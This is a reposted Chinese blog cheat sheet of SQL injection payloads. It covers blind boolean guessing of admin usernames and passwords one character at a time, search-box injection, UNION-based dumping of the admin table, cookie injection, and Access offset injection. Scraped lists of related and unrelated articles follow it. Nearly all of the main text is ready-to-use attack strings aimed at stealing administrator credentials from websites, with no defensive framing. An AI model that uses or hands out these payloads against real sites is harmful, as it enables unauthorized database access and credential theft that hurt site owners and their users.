注意:对于普通的get注入,如果是字符型,前加'   后加 and ''=' 
拆半法 
###################################### 
and exists (select * from MSysAccessObjects) 这个是判断是不是ACC数据库,MSysAccessObjects是ACCESS的默认表。 
and exists (select * from admin) 
and exists(select id from admin) 
and exists(select id from admin where id=1) 
and exists(select id from admin where id>1) 
然后再测试下id>1 正常则说明不止一个ID 然后再id<50 确定范围 
and exists (select username from admin) 
and exists (select password from admin) 
and exists (select id from admin where len(username)<10 and id=1) 
and exists (select id from admin where len(username)>5 and id=1) 
and exists (select id from admin where len(username)=6 and id=1) 
and exists (select id from admin where len(password)<10 and id=1) 
and exists (select id from admin where len(password)>5 and id=1) 
and exists (select id from admin where len(password)=7 and id=1) 
and (select top 1 asc(mid(username,1,1)) from admin)=97 
返回了正常,说明第一username里的第一位内容是ASC码的97,也就是a。 
猜第二位把username,1,1改成username,2,1就可以了。 
猜密码把username改成password就OK了 
################################################## 
搜索型注入 
################################## 
%' and 1=1 and '%'=' 
%' and exists (select * from admin) and '%'=' 
%' and exists(select id from admin where id=1) and '%'=' 
%' and exists (select id from admin where len(username)<10 and id=1) and '%'=' 
%' and exists (select id from admin where len(password)=7 and id=1) and '%'=' 
%' and (select top 1 asc(mid(username,1,1)) from admin)=97 and '%'=' 
这里也说明一下,搜索型注入也无他,前加%' 后加 and '%'=' 
对于MSSQL数据库,后面可以吧 and '%'='换成-- 
还有一点搜索型注入也可以使用union语句。 
######################################################## 
联合查询。 
##################################### 
order by 10 
and 1=2 union select 1,2,3,4,5,6,7,8,9,10 
and 1=2 union select 1,username,password,4,5,6,7,8,9,10 form admin 
and 1=2 union select 1,username,password,4,5,6,7,8,9,10 form admin where id=1 
很简单。有一点要说明一下,where id=1 这个是爆ID=1的管理员的时候,where id=1就是爆ID=2的管理用的,一般不加where id=1这个限制语句,应该是爆的最前面的管理员吧!(注意,管理的id是多少可不一定哈,说不定是100呢!) 
###################################

cookie注入 
############################### 
http://www.******.com/shownews.asp?id=127 
http://www.******.com/shownews.asp 
alert(="id="+escape("127")); 
alert(="id="+escape("127 and 1=1")); 
alert(="id="+escape("127 order by 10")); 
alert(="id="+escape("127 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin")); 
alert(="id="+escape("127 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin where id=1"));
这些东西应该都不用解释了吧,给出语句就行了吧。这里还是用个联合查询,你把它换成拆半也一样,不过不太适合正常人使用,因为曾经有人这样累死过。 
###################################

偏移注入 
########################################################### 
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 from admin 
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,* from admin 
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,* from (admin as a inner join admin as b on a.id=b.id) 
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,* from (admin as a inner join admin as b on a.id=b.id) 
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id) 
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id) 
union select 1,2,3,4,5,6,7,8,a.id,b.id,c.id,d.id,* from (((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id) inner join admin as d on 
a.id=d.id) 
and 1=2 union select 1,* from (admin as a inner join admin as b on a.id=b.id) 
and 1=2 union select 1,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id) 

 转载自:http://tiwson.iteye.com/blog/1919349

注入语句详解(get注入,cookie注入,搜索型注入等)的更多相关文章

  1. Java程序员从笨鸟到菜鸟之(一百零二)sql注入攻击详解(三)sql注入解决办法

    sql注入攻击详解(二)sql注入过程详解 sql注入攻击详解(一)sql注入原理详解 我们了解了sql注入原理和sql注入过程,今天我们就来了解一下sql注入的解决办法.怎么来解决和防范sql注入, ...

  2. Java程序员从笨鸟到菜鸟之(一百)sql注入攻击详解(一)sql注入原理详解

    前段时间,在很多博客和微博中暴漏出了12306铁道部网站的一些漏洞,作为这么大的一个项目,要说有漏洞也不是没可能,但其漏洞确是一些菜鸟级程序员才会犯的错误.其实sql注入漏洞就是一个.作为一个菜鸟小程 ...

  3. PHP开发中常见的安全问题详解和解决方法(如Sql注入、CSRF、Xss、CC等

    页面导航: 首页 → 网络编程 → PHP编程 → php技巧 → 正文内容 PHP安全 PHP开发中常见的安全问题详解和解决方法(如Sql注入.CSRF.Xss.CC等) 作者: 字体:[增加 减小 ...

  4. spring注入参数详解

    spring注入参数详解 在Spring配置文件中, 用户不但可以将String, int等字面值注入到Bean中, 还可以将集合, Map等类型的数据注入到Bean中, 此外还可以注入配置文件中定义 ...

  5. Spring事务Transaction配置的五种注入方式详解

    Spring事务Transaction配置的五种注入方式详解 前段时间对Spring的事务配置做了比较深入的研究,在此之间对Spring的事务配置虽说也配置过,但是一直没有一个清楚的认识.通过这次的学 ...

  6. SQL注入漏洞详解

    目录 SQL注入的分类 判断是否存在SQL注入 一:Boolean盲注 二:union 注入 三:文件读写 四:报错注入 floor报错注入 ExtractValue报错注入 UpdateXml报错注 ...

  7. SpringBoot之Spring@Value属性注入使用详解

    在使用Spring框架的项目中,@Value是使用比较频繁的注解之一,它的作用是将配置文件中key对应的值赋值给它标注的属性.在日常使用中我们常用的功能都比较简单,本篇文章系统的带大家来了解一下@Va ...

  8. 数据库其他注入思路 - 万能密码 - cookie注入 -搜索型注入

    另类登录注入形式: 经常有一类验证(ASP,PHP,JSP均存在),先判断user是否存在,ASP为例子:"select password from admin where user_nam ...

  9. Sqlserver2008+搜索型注入技术

    简单的判断搜索型注入漏洞存在不存在的办法是先搜索',如果出错,说明90%存在这个漏洞.然后搜索%,如果正常返回,说明95%有洞了. 然后再搜索一个关键字,比如2006吧,正常返回所有2006相关的信息 ...

随机推荐

  1. 【spring 注解 错误】使用controller 作为后台给前台ajax交互数据出错

    controller作为后台与前台的ajax进行交互,后台的方法处理完成返回一个boolean类型的值,想传给前台用来判断是否执行成功,BUT,问题来了: 严重: Servlet.service() ...

  2. PHP入门 - - 05-->编写HTML页面的常用标签

    一.文字版面的编辑 1.格式标签 格式标签用于定义网页中文本的布局.缩进.位置.换行.列表等          <br>           换行          <p>   ...

  3. iOS10 UI教程视图的绘制与视图控制器和视图

    iOS10 UI教程视图的绘制与视图控制器和视图 iOS10 UI视图的绘制 iOS10 UI教程视图的绘制与视图控制器和视图,在iOS中,有很多的绘图应用.这些应用大多是在UIView上进行绘制的. ...

  4. 分享Kali Linux 2016.2第48周镜像文件

    分享Kali Linux 2016.2第48周镜像文件Kali Linux官方于11月27日发布Kali Linux 2016.2的第48周镜像.这次延续以往规律,仍然是11个镜像文件.默认的Gnom ...

  5. js-变量、作用域和内存问题,引用类型

    变量.作用域和内存问题 1.变量可能包含两种不同数据类型的值:基本类型值以及引用类型值:引用类型值保存的是内存中的对象 2.对象是按值传递的, function setName(obj){ obj.n ...

  6. Amazon S3云存储服务器的功能及编程接口

    http://blog.csdn.net/iamshaofa/article/details/7877785/

  7. 【转载】Android app 安全测试调研及执行

    本文来源于:http://testerhome.com/topics/2209 一.通过在线工具进行测试 1.腾讯金刚审计系统http://service.security.tencent.com 优 ...

  8. Ubuntu Mono 运行 Helloworld

    Ubuntu Mono 运行 Helloworld ref: http://www.mono-project.com/docs/getting-started/install/linux/#usage ...

  9. Redis List命令

        命令 解释 lpush key string 在key对应list的头部添加字符串元素,返回1表示成功,0表示key存在且不是list类型. rpush key string 同上,尾插入. ...

  10. ACM ICPC 2015 Moscow Subregional Russia, Moscow, Dolgoprudny, October, 18, 2015 G. Garden Gathering

    Problem G. Garden Gathering Input file: standard input Output file: standard output Time limit: 3 se ...